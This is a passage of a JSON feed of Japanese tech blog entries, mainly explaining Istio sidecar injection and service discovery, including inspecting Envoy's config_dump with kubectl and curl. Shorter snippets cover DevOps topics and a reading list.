patch処理をコールkube-apiserverは、AdmissionReview構造体を受信し、AdmissionResponseに応じてリクエスト内容を書き換えます。patch処理の定義をAdmissionReview構造体から取り出し、クライアントからのリクエスト内容を書き換えます。具体的には、istio-proxyコンテナとistio-initコンテナを作成するために、リクエストしたマニフェストの該当箇所にキーを追加します。apiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80 # kube-apiserverが追加 - name: istio-proxy ... # kube-apiserverが追加 initContainers: - name: istio-init ...(11) マニフェストを永続化kube-apiserverは、etcdにPodのマニフェストを永続化します。クライアント ⬅︎ kube-apiserverここで説明するフロー箇所『クライアント ⬅︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(12) コール完了を返信kube-apiserverは、クライアントにレスポンスを受信します。$ kubectl apply -f foo-pod.yaml# kube-apiserverからレスポンスが返ってくるpod \\"foo-pod\\" created以降の仕組み(画像はタブ開き閲覧を推奨)kube-apiserverは、他のNodeコンポーネント (kube-controlleretcd、kube-scheduler、kubelet、など) と通信し、Podを作成します。このPodのマニフェストは、アプリコンテナの他に、istio-proxyコンテナとistio-initコンテナを持ちます。結果として、サイドカーコンテナのistio-proxyコンテナをインジェクションしたことになります。コンポーネントの通信については、以下の記事が非常に参考になりました\uD83D\uDE47\uD83C\uDFFB‍Kubernetes Master Components: Etcd, API Server, Controller Manager, and Scheduler | by Jorge Acetozi | jorgeacetozi | Medium05. おわりにIstioのサービスメッシュとサイドカーインジェクションの仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。今回登場したMutatingAdmissionWebhookプラグインに関して、私の関わっているプロダクトではIstio以外 (例：CertManager、Prometheus、AWSのaws-eks-vpc-cniアドオン、など) でも使用しています✌️そのため、MutatingAdmissionWebhookプラグインをどのように使っているのかを一度知れば、知識の汎用性が高いと考えています。サイドカーインジェクションはIstioでも基本的な機能であり、もし未体験の方がいらっしゃれば、お手元でサイドカーコンテナが追加されることを確認していただくとよいかもしれません\uD83D\uDC4D","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/01/14/223815","isoDate":"2023-01-14T13:38:15.000Z","dateMiliSeconds":1673703495000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"xmllint で HTML 内の任意の値を取り出す","contentSnippet":"サクッと shell script で HTML の中の何かを取り出したい時があります。 そんな時に使えるのが xmllint. しっかりやるなら python の Beautiful Soup を使ったりしますが、本当に簡単なことを簡単にやりたい場合に xmllint","link":"https://blog.1q77.com/2023/01/xmllint-html-xpath/","isoDate":"2023-01-12T14:40:51.000Z","dateMiliSeconds":1673534451000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"MongoDB Atlas の紹介","contentSnippet":"MongoDB Atlas とは MongoDB Atlas (以下 Atlas という)は、MongoDB Inc.によって作られた MongoDB の DBaaS(DB as a Service) です。 Atlas […]The post MongoDB Atlas の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/mongodb-atlas/","isoDate":"2023-01-11T23:57:02.000Z","dateMiliSeconds":1673481422000,"authorName":"Sreake","authorId":"Sreake"},{"title":"CodeDeploy Agent のバージョンアップを自動化する","contentSnippet":"概要 Auto Scaling Group 内のインスタンスで CodeDeploy を使用する場合、Agent のバージョンアップが手間なので AMI にインストールしない方がよいです。 Systems Manager […]The post CodeDeploy Agent のバージョンアップを自動化する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/codedeploy-agent-update/","isoDate":"2023-01-10T01:22:39.000Z","dateMiliSeconds":1673313759000,"authorName":"Sreake","authorId":"Sreake"},{"title":"イェーイ あけまして 2023","contentSnippet":"あいさつ謹んで新春をお祝い申し上げます。旧年中は大変お世話になり、誠にありがとうございました。皆様は、にぎやかに、楽しくお過ごしのことと存じます。旧年は同棲をする、家を締め出される、原因不明の体調不良に陥る、クリスマスに同棲解消決定、転居決定 など、人生の不条理さ否応なしに思い知らされた2022年でした。イェーイ！登壇登壇をいくつかしましたがあまり注目されることはなかった気がします。もう少し有用だと思われる発表を頑張りたいと思います。b.hatena.ne.jpブログいくつかのブログを書いた。たまにはてなブックマークにあがったりなどしました。来年はもう少しブログを書いて量を出していきたいと思いました。b.hatena.ne.jp2022年の振り返り（KPT）Keep技術書籍以外もたくさん読むことができた登壇の目標は達成できた人生ができていたブログの投稿数は目標達成できた人を巻き込んで仕事ができたProblem人生をやった分、手を動かす時間が少なくなってしまった人生でもっと頭を使っていくそこそこ大きな失敗をしてメンタルブレイクしてた時期があり、復旧に時間が掛かった原因不明の体調不良の時間が増えたTry積ん読を減らす人生を推測せず計測する心身の健康(運動して痩せる)ブログを書くさいごに去年からアフィリエイトをブログを載せるようになりました。資本主義への敗北感があります。書籍代の数%にならねーかなって思っているので嫌いになって下さい。2023年も引き続きよろしくお願いします。知らない人からでも、お茶に誘われると喜ぶので誘ってください。2023年の目標は健康と健忘です。ごめん、同級会にはいけません。いま、ジムにいます。あけましておめでとうございます\uD83C\uDF8D⛩ pic.twitter.com/AjjH18g1JC— nwiizo (@nwiizo) 2022年12月31日","link":"https://syu-m-5151.hatenablog.com/entry/2023/01/01/145552","isoDate":"2023-01-01T05:55:52.000Z","dateMiliSeconds":1672552552000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Lima の vmType VZ と virtiofs を試す","contentSnippet":"Lima が version 0.14.0 で QEMU だけではなく macOS の Virtualization.Framework に対応していました。 vmtype という設定項目が増えています。 この新しい Framework では Host のディレクトリをマウントするのに virtiofs が使えるようになっており、","link":"https://blog.1q77.com/2022/12/lima-vz/","isoDate":"2022-12-29T15:49:47.000Z","dateMiliSeconds":1672328987000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"rbspy で ruby の stacktrace を flamegraph にする","contentSnippet":"中身をよく知らない Rails アプリでどこが遅いのかな？と思って rbspy ( github) を試してみたのでメモ。 とりあえず使って flamegraph を書き出してみたんだけどそもそも flamegraph がどういうものなのか分かっ","link":"https://blog.1q77.com/2022/12/rbspy/","isoDate":"2022-12-28T11:26:10.000Z","dateMiliSeconds":1672226770000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Professional Cloud Security Engineer の振り返り","contentSnippet":"はじめに2022/12/28 に Google Cloud Certification の１つである、Professional Cloud Security Engineer に合格したので、そち…","link":"https://qiita.com/dirtymosschan/items/2c66eec7919220a4ec06","isoDate":"2022-12-28T08:57:17.000Z","dateMiliSeconds":1672217837000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"go.mod の更新","contentSnippet":"たまに使い捨ての code を書いて放置する程度だと毎回ググってしまうのでメモ。 go.mod の更新は go get や go mod tidy で行うことができる。 go の version を更新 # go.mod 内の go の version は次のようにして go mod tidy","link":"https://blog.1q77.com/2022/12/updage-go-mod/","isoDate":"2022-12-27T03:52:31.000Z","dateMiliSeconds":1672113151000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"【Istio⛵️】Istioのサービス間通信を実現するサービスディスカバリーの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️サービスディスカバリーの種類についてIstioのサービス間通信を実現するサービスディスカバリーの仕組みについて記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます！ この記事から得られる知識01. はじめに02. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとはなぜサービスディスカバリーが必要なのかサービスディスカバリーの要素サービスディスカバリーのパターンサービスディスカバリーのパターンとはサーバーサイドパターンクライアントサイドパターン03. Istioのサービスディスカバリーの仕組み全体像(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるロードバランシングdiscoveryコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるリクエスト受信04. istio-proxyコンテナ内のEnvoyの仕組み全体像(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー値選択(3) Envoyによるルート値選択(4) Envoyによるクラスター値選択(5) Envoyによるエンドポイント値選択(6) 宛先マイクロサービスへのリクエスト送信EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイントリスナー値▼ 確認方法▼ 結果ルート値▼ 確認方法▼ 結果クラスター値▼ 確認方法▼ 結果エンドポイント値▼ 確認方法▼ 結果Envoyの処理の流れのまとめ(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー値選択(3) Envoyによるルート値選択(4) Envoyによるクラスター値選択(5) Envoyによるクラスター値選択(6) 宛先マイクロサービスへのリクエスト送信05. おわりに謝辞01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F3-shake Advent Calender 2022 最終日の記事です\uD83C\uDF85普段、私は 俺の技術ノート に知見を記録しており、はてなブログはデビュー戦となります。最近の業務で、オンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、Istioのサービス間通信を実現するサービスディスカバリーの仕組みを記事で解説しました。Istioの機能の1つであるサービスディスカバリーは、その仕組みの多くをEnvoyに頼っているため、合わせてEnvoyの仕組みも説明します。それでは、もりもり布教していきます\uD83D\uDE1702. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとは平易な言葉で言い換えると サービス間通信 です。マイクロサービスアーキテクチャでは、マイクロサービスからマイクロサービスにリクエストを送信する場面があります。サービスディスカバリーとは、宛先マイクロサービスの宛先情報 (例：IPアドレス、完全修飾ドメイン名、など) を検出し、送信元マイクロサービスが宛先マイクロサービスにリクエストを継続的に送信可能にする仕組みのことです。なぜサービスディスカバリーが必要なのかそもそも、なぜサービスディスカバリーが必要なのでしょうか。マイクロサービスアーキテクチャでは、システムの信頼性 (定められた条件下で定められた期間にわたり、障害を発生させることなく実行する程度) を担保するために、マイクロサービスのインスタンスの自動スケーリングを採用します。この時、自動スケーリングのスケールアウトでマイクロサービスが増加するたびに、各インスタンスには新しい宛先情報が割り当てられてしまいます。また、マイクロサービスが作り直された場合にも、宛先情報は更新されてしまいます。このように、たとえインスタンスの宛先情報が更新されたとしても、インスタンスへのリクエストに失敗しない仕組みが必要です。サービスディスカバリーの要素サービスディスカバリーの仕組みは、次の要素からなります。名前解決に関しては、DNSベースのサービスディスカバリー (例：CoreDNS + Service + kube-proxyによるサービスディスカバリー) で必要となり、Istioでは使いません。そのため、本記事では言及しないこととします\uD83D\uDE47\uD83C\uDFFB‍ 要素 責務 送信元マイクロサービス リクエストを送信する。 宛先マイクロサービス リクエストを受信する。 サービスレジストリ 宛先マイクロサービスの宛先情報を保管する。 ロードバランサー 宛先マイクロサービスのインスタンスにロードバランシングする。 名前解決 宛先マイクロサービスへのリクエスト送信時に、名前解決可能にする。 サービスディスカバリーのパターンサービスディスカバリーのパターンとはサービスディスカバリーの仕組みにはいくつか種類があります。Istioのサービスディスカバリーは、このうちのサーバーサイドパターンを実装したものになります。サーバーサイドパターン送信元マイクロサービスから、問い合わせとロードバランシングの責務が切り離されています。送信元マイクロサービスは、ロードバランサーにリクエストを送信します。ロードバランサーは、宛先マイクロサービスの宛先をサービスレジストリに問い合わせ、またリクエストをロードバランシングする責務を担っています\uD83D\uDCAA\uD83C\uDFFB(例) Istio、Linkerd、などCloud Native Patterns: Designing change-tolerant software (English Edition)Server-side service discovery patternクライアントサイドパターン通信の送信元マイクロサービスは、宛先マイクロサービスの宛先をサービスレジストリに問い合わせ、さらにロードバランシングする責務を担います。(例) NetflixのEureka、などCloud Native Patterns: Designing change-tolerant software (English Edition)Client-side service discovery patternService Discovery in Kubernetes: Combining the Best of Two Worlds03. Istioのサービスディスカバリーの仕組みIstioが実装するサービスメッシュには、サイドカープロキシメッシュとアンビエントメッシュがあり、今回はサイドカープロキシメッシュのサービスディスカバリーを取り上げます。Istioのサービスディスカバリーは、discoveryコンテナとistio-proxyコンテナが軸となり、サーバーサイドパターンのサービスディスカバリーを実装します。全体像(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47istio-proxyコンテナは、サービスレジストリへの問い合わせと、ロードバランシングする責務を担っていることに注目してください。(1) kube-apiserverによる宛先情報保管kube-apiserverは、Pod等の宛先情報をetcd等に保管します。これは、Kubernetesの通常の仕組みです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナは、kube-apiserverからPod等の宛先情報を取得し、自身に保管します。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナは、discoveryコンテナからPod等の宛先情報を双方向ストリーミングRPCで取得します。(4) istio-proxyコンテナによるリクエスト受信送信元マイクロサービスがリクエストを送信します。サーバーサイドパターンでの責務通り、送信元マイクロサービスはロードバランサー (ここではistio-proxyコンテナ) にリクエストを送信します。この時、送信元マイクロサービスがistio-proxyコンテナに直接的にリクエストを送信しているというよりは、iptablesがistio-proxyコンテナにリクエストをリダイレクトします。istio-proxyコンテナこれを受信します。(5) istio-proxyコンテナによるロードバランシングistio-proxyコンテナは、リクエストをロードバランシングし、宛先Podにこれを送信します。Istio in ActionJimmy Song - 专注于探索后 Kubernetes 时代的云原生新范式Tech-赵化冰的博客 | Zhaohuabing Blogdiscoveryコンテナの仕組み全体像の中から、discoveryコンテナを詳しく見てみましょう。discoveryコンテナは、別名Istiodと呼ばれています。XDS-APIというエンドポイントを公開しており、XDS-APIのうち、サービスディスカバリーに関係するAPIは以下の通りです。 APIの種類 説明 LDS-API Envoyのリスナー値を取得できる。 RDS-API Envoyのルート値を取得できる。 CDS-API Envoyのクラスター値を取得できる。 EDS-API Envoyのエンドポイント値できる。 ADS-API 各XDS-APIから取得できる宛先情報を整理して取得できる。 Istio in Action(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得XDS-APIとistio-proxyコンテナの間では、gRPCの双方向ストリーミングRPCの接続が確立されています。そのため、istio-proxyコンテナからのリクエストに応じて宛先情報を返却するだけでなく、リクエストがなくとも、XDS-APIからもistio-proxyコンテナに対して宛先情報を送信します。XDS-APIのエンドポイントがいくつかあり、各エンドポイントから宛先情報を取得できます。一方で、各エンドポイントからバラバラに宛先情報を取得すると、Envoy上でこれを整理する時に、宛先情報のバージョンの不整合が起こる可能性があります。そのため、Istioは実際にはADS-APIを使用して宛先情報を取得します。istio-proxyコンテナの仕組み全体像の中から、istio-proxyコンテナを詳しく見てみましょう。Istio in ActionJimmy Song - 专注于探索后 Kubernetes 时代的云原生新范式Tech-赵化冰的博客 | Zhaohuabing Blog(1) kube-apiserverによる宛先情報保管kube-apiserverによる宛先情報保管 と同じです。(2) discoveryコンテナによる宛先情報保管discoveryコンテナによる宛先情報保管 と同じです。(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナでは、pilot-agentとEnvoyが稼働しています。先ほどistio-proxyコンテナは、双方向ストリーミングRPCでADS-APIから宛先情報を取得すると説明しました。厳密にはEnvoyが、pilot-agentを介して、ADS-APIから双方向ストリーミングRPCで宛先情報を取得します。(4) istio-proxyコンテナによるリクエスト受信istio-proxyコンテナによるリクエスト受信 と同じです。(5) istio-proxyコンテナによるリクエスト受信EnvoyはADS-APIから取得した宛先情報に基づいて、宛先マイクロサービスのインスタンスにロードバランシングします。04. istio-proxyコンテナ内のEnvoyの仕組み全体像EnvoyがADS-APIから取得した宛先情報を見ていく前に、Envoyの処理の流れを解説します。istio-proxyコンテナ内のEnvoyでは、以下の仕組みでリクエストを処理します。(1) 〜 (6) の全体像は、以下の通りです\uD83D\uDC47Istio in Action (English Edition)Istio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and ObserveArchitecture Analysis of Istio: The Most Popular Service Mesh Project - Alibaba Cloud Community(1) 送信元マイクロサービスからリクエスト受信istio-proxyコンテナは、送信元マイクロサービスからリクエストを受信します。(2) Envoyによるリスナー値選択Envoyは、リクエストの宛先情報 (例：宛先IPアドレス、ポート番号、パス、ホスト、など) に応じてリスナー値を選びます。(3) Envoyによるルート値選択Envoyは、リスナーに紐づくルート値を選びます。(4) Envoyによるクラスター値選択Envoyは、クラスターに紐づくクラスター値を選びます。(5) Envoyによるエンドポイント値選択Envoyは、クラスターに紐づくエンドポイント値を選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイント値に対応するインスタンスにリクエストを送信します。Envoyで確認した宛先情報を\uD83D\uDC46に当てはめて見ていくことにしましょう。EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイント実際にEnvoyに登録されている宛先情報は、istio-proxyコンテナ自体のlocalhost:15000/config_dumpからJSONで取得できます。もしお手元にIstioがある場合は、Envoyにどんな宛先情報が登録されているか、Envoyを冒険してみてください。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump\\" | yq -PJSONだと見にくいため、yqコマンドでYAMLに変換すると見やすくなります\uD83D\uDC4Dリスナー値▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナー値は、/config_dump?resource={dynamic_listeners}から確認できます。ここでは、foo-pod内でbar-podのリスナー値を確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_listeners}\\" | yq -P▼ 結果以下を確認できました。宛先IPアドレスや宛先ポート番号に応じてリスナー値を選べるようになっており、ここでは<任意のIPアドレス>:50002。リスナー値に紐づくルート値の名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener # リスナー名 name: 0.0.0.0_50002 active_state: version_info: 2022-11-24T12:13:05Z/468 listener: \\"@type\\": type.googleapis.com/envoy.config.listener.v3.Listener name: 0.0.0.0_50002 address: socket_address: # 受信したパケットのうちで、宛先IPアドレスでフィルタリング address: 0.0.0.0 # 受信したパケットのうちで、宛先ポート番号でフィルタリング port_value: 50002 filter_chains: - filter_chain_match: transport_protocol: raw_buffer application_protocols: - http/1.1 - h2c filters: - name: envoy.filters.network.http_connection_manager typed_config: \\"@type\\": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager stat_prefix: outbound_0.0.0.0_50001 rds: config_source: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本リスナーに紐づくルート値の名前 route_config_name: 50002 ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ListenersConfigDump.DynamicListener ...Administration interface — envoy 1.28.0-dev-d88a4f documentationConfigDump (proto) — envoy 1.28.0-dev-d88a4f documentationルート値▼ 確認方法istio-proxyコンテナがADS-APIから取得したリスナー値は、/config_dump?resource={dynamic_route_configs}から確認できます。ここでは、foo-pod内でbar-podのルート値を確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_route_configs}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。リスナー値を取得した時に確認できたルート値の名前リクエストのパスやHostヘッダーに応じてルート値を選べるようになっているルート値に紐づくクラスター値の名前configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig version_info: 2022-11-24T12:13:05Z/468 route_config: \\"@type\\": type.googleapis.com/envoy.config.route.v3.RouteConfiguration # ルート値の名前 name: 50002 virtual_hosts: - name: bar-service.bar-namespace.svc.cluster.local:50002 # ホストベースルーティング domains: - bar-service.bar-namespace.svc.cluster.local - bar-service.bar-namespace.svc.cluster.local:50002 - bar-service - bar-service:50002 - bar-service.bar-namespace.svc - bar-service.bar-namespace.svc:50002 - bar-service.bar-namespace - bar-service.bar-namespace:50002 - 172.16.0.2 - 172.16.0.2:50002 routes: - match: # パスベースルーティング prefix: / route: # 本ルートに紐づくクラスター値の名前 cluster: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local timeout: 0s retry_policy: retry_on: connect-failure,refused-stream,unavailable,cancelled,retriable-status-codes num_retries: 2 retry_host_predicate: - name: envoy.retry_host_predicates.previous_hosts host_selection_retry_max_attempts: \\"5\\" retriable_status_codes: - 503 max_stream_duration: max_stream_duration: 0s grpc_timeout_header_max: 0s decorator: operation: bar-service.bar-namespace.svc.cluster.local:50002/* ... - \'@type\': type.googleapis.com/envoy.admin.v3.RoutesConfigDump.DynamicRouteConfig ...Administration interface — envoy 1.28.0-dev-d88a4f documentationConfigDump (proto) — envoy 1.28.0-dev-d88a4f documentationクラスター値▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスター値は、/config_dump?resource={dynamic_active_clusters}から確認できます。ここでは、foo-pod内でbar-podのクラスター値を確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?resource={dynamic_active_clusters}\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。ルート値を取得した時に確認できたクラスター値の名前クラスター値に紐づくエンドポイント値の親名configs: - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster version_info: 2022-11-24T12:13:05Z/468 cluster: \\"@type\\": type.googleapis.com/envoy.config.cluster.v3.Cluster # クラスター値の名前 name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local type: EDS eds_cluster_config: eds_config: ads: {} initial_fetch_timeout: 0s resource_api_version: V3 # 本クラスターに紐づくエンドポイント値の親名 service_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local ... - \\"@type\\": type.googleapis.com/envoy.admin.v3.ClustersConfigDump.DynamicCluster ...Administration interface — envoy 1.28.0-dev-d88a4f documentationConfigDump (proto) — envoy 1.28.0-dev-d88a4f documentationエンドポイント値▼ 確認方法istio-proxyコンテナがADS-APIから取得したクラスター値は、/config_dump?include_edsから確認できます。ここでは、foo-pod内でbar-podのクラスター値を確認したと仮定します。$ kubectl exec \\\\ -it foo-pod \\\\ -n foo-namespace \\\\ -c istio-proxy \\\\ -- bash -c \\"curl http://localhost:15000/config_dump?include_eds\\" | yq -P▼ 結果コマンドを実行するとYAMLを取得でき、以下を確認できました。クラスター値を取得した時に確認できたエンドポイントの親名bar-podのインスタンスが3個あるため、3個のエンドポイントがありますconfigs: dynamic_endpoint_configs: - endpoint_config: \\"@type\\": type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment # エンドポイントの親名 cluster_name: outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local endpoints: - locality: region: ap-northeast-1 zone: ap-northeast-1a lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.1 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 80 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.2 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 80 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 - locality: region: ap-northeast-1 zone: ap-northeast-1d lb_endpoints: - endpoint: address: socket_address: # 冗長化されたbar-podのIPアドレス address: 11.0.0.3 # bar-pod内のコンテナが待ち受けているポート番号 port_value: 80 health_check_config: {} health_status: HEALTHY metadata: filter_metadata: istio: workload: bar envoy.transport_socket_match: tlsMode: istio # ロードバランシングアルゴリズムを決める数値 load_balancing_weight: 1 policy: overprovisioning_factor: 140 ... - endpoint_config: ...↪️参考：Administration interface — envoy 1.28.0-dev-d88a4f documentationConfigDump (proto) — envoy 1.28.0-dev-d88a4f documentationSupported load balancers — envoy 1.28.0-dev-d88a4f documentationload_balancing_weightキー値が等しい場合、EnvoyはP2Cアルゴリズムに基づいてロードバランシングします\uD83D\uDC4DEnvoyの処理の流れのまとめ確認できた宛先情報を、Envoyの処理の流れに当てはめてみました。(1) 送信元マイクロサービスからリクエスト受信送信元マイクロサービスは、宛先マイクロサービス (<任意のIP>/:50002) にリクエストを送信します。サイドカーコンテナのistio-proxyコンテナはこれを受信します。(2) Envoyによるリスナー値選択Envoyは、リクエストの宛先 (IPアドレス、ポート番号、パス) からPodのリスナー値 (0.0.0.0_50002) を選びます。(3) Envoyによるルート値選択Envoyは、リスナーに紐づくPodのルート値 (50002) を選びます。(4) Envoyによるクラスター値選択Envoyは、クラスターに紐づくPodのクラスター値 (outbound|50002|v1|bar-service.bar-namespace.svc.cluster.local) を選びます。(5) Envoyによるクラスター値選択Envoyは、クラスターに紐づくPodのインスタンスのエンドポイント値 (11.0.0.X/:80) を選びます。(6) 宛先マイクロサービスへのリクエスト送信Envoyは、エンドポイント値の宛先にPodのリクエストを送信します。サービスディスカバリーの冒険は以上です⛵05. おわりにIstioの機能の1つである『サービスディスカバリー』の仕組みを、Envoyを交えながらもりもり布教しました。愛が溢れてしまいました。Istioの機能を1つとっても、複雑な仕組みで実現していることがお分かりいただけたかと思います。Istioありがとう\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F謝辞3-shake SRE Tech Talk での発表前後に、以下の方々に発表内容について助言をいただきました。@ido_kara_deru さん@yosshi_ さん@yteraoka さん(アルファベット順)また、今回の 3-shake Advent Calender 2022 は、以下の方々に企画いただきました。@jigyakkuma_ さん@nwiizo さん(アルファベット順)皆様に感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2022/12/25/060000","isoDate":"2022-12-24T21:00:00.000Z","dateMiliSeconds":1671915600000,"authorName":"Hiroki Hasegawa","authorId":"hiroki-hasegawa"},{"title":"Steam Deck に Windows を入れたい方の参考になれば...!","contentSnippet":"この記事は 3-shake Advent Calendar 2022 の24日目の記事です。はじめに年末、しかもクリスマスということで散財させていただきました。初めまして、戸澤といいます。日常…","link":"https://qiita.com/tozastation/items/a57df36a369b5425795a","isoDate":"2022-12-24T08:36:33.000Z","dateMiliSeconds":1671870993000,"authorName":"tozastation","authorId":"tozastation"},{"title":"SREとして2022年読んでよかった技術書7選","contentSnippet":"はじめに2022年もそろそろ終わります。今年も技術書をたくさん読めました。技術的にはDevOpsやSRE、バックエンドに興味があります。この1年で10kg以上痩せたので冬がとても寒い。今年、読んだ技術書の中からおすすめの7冊を紹介します。順番に意味はないです。なぜ、今年は読んでよかった技術書7選なんてやろうと思ったかというと、元々はRecommend Tech Book でO\'Reilly Safariで読んで良かった技術書をまとめていました。しかし、6月末でACM経由のO\'Reilly Online Learning Platformを利用できなくなり、更新も止まりました。非常に悲しいですが今はO\'Reilly Online Learning Platformを利用しておりません。また、機会があれば入会すると思います。あと大きな読書環境の変化としては物理本絶対主義を卒業して電子書籍で購入できるものは基本的にそちらに移行しました。どこかの誰かに「紙の本を読みなよ」と言われそうです。はじめに2022年に読んでよかった技術書実用 Go言語システム運用アンチパターンソフトウェアアーキテクチャ・ハードパーツ達人プログラマー(第2版): 熟達に向けたあなたの旅セキュア・バイ・デザイン 安全なソフトウェア設計継続的デリバリーのソフトウェア工学実践Vim 思考のスピードで編集しよう！終わりに2022年に読んでよかった技術書実用 Go言語実用 Go言語 ―システム開発の現場で知っておきたいアドバイス作者:渋川 よしき,辻 大志郎,真野 隼記オライリージャパンAmazonReal World HTTP、Goならわかるシステムプログラミングの著者を中心とした経験豊富なGopher達が書いた共著のGo言語のTips系の技術書である「実用 Go言語 ―システム開発の現場で知っておきたいアドバイス」です。本書の素晴らしい点は、「よりGoらしく書くには」「実用的なアプリケーションを書くには」という言葉に偽りがなく、Gopherとしてのノウハウが満載である点だと思う。Goに興味がある程度だったら他の本を読んだほうがいいと思います。が、Goらしいプログラムの書き方を知りたい人はこの本を読むといい。知らなくていい行が一つもないです。「実用Go言語」の作り方 - Forkwell Library #7 というイベントもあったのであわせて紹介しておきます。forkwell.connpass.comシステム運用アンチパターンシステム運用アンチパターン ―エンジニアがDevOpsで解決する組織・自動化・コミュニケーション作者:Jeffery D. SmithオライリージャパンAmazonOperations Anti-Patterns, DevOps Solutions の訳本で「システム運用アンチパターン エンジニアがDevOpsで解決する組織・自動化・コミュニケーション」です。本書はタイトルからしてシステム運用に関するアンチパターンについて書かれた本ではあるが、私はむしろ、新人やシステム運用分からんマンこそ読むべき本だと思う。それくらい分かりやすく、DevOpsの基本が書かれている。本書の感想に関しては以前、読書感想文としてブログにしていたので参照ください。syu-m-5151.hatenablog.comシステム運用アンチパターン - Forkwell Library #4 というイベントもあったのであわせて紹介しておきます。forkwell.connpass.comソフトウェアアーキテクチャ・ハードパーツソフトウェアアーキテクチャ・ハードパーツ ―分散アーキテクチャのためのトレードオフ分析作者:Neal Ford,Mark Richards,Pramod Sadalage,Zhamak DehghaniオライリージャパンAmazonSoftware Architecture: The Hard Parts の訳本で「ソフトウェアアーキテクチャ・ハードパーツ 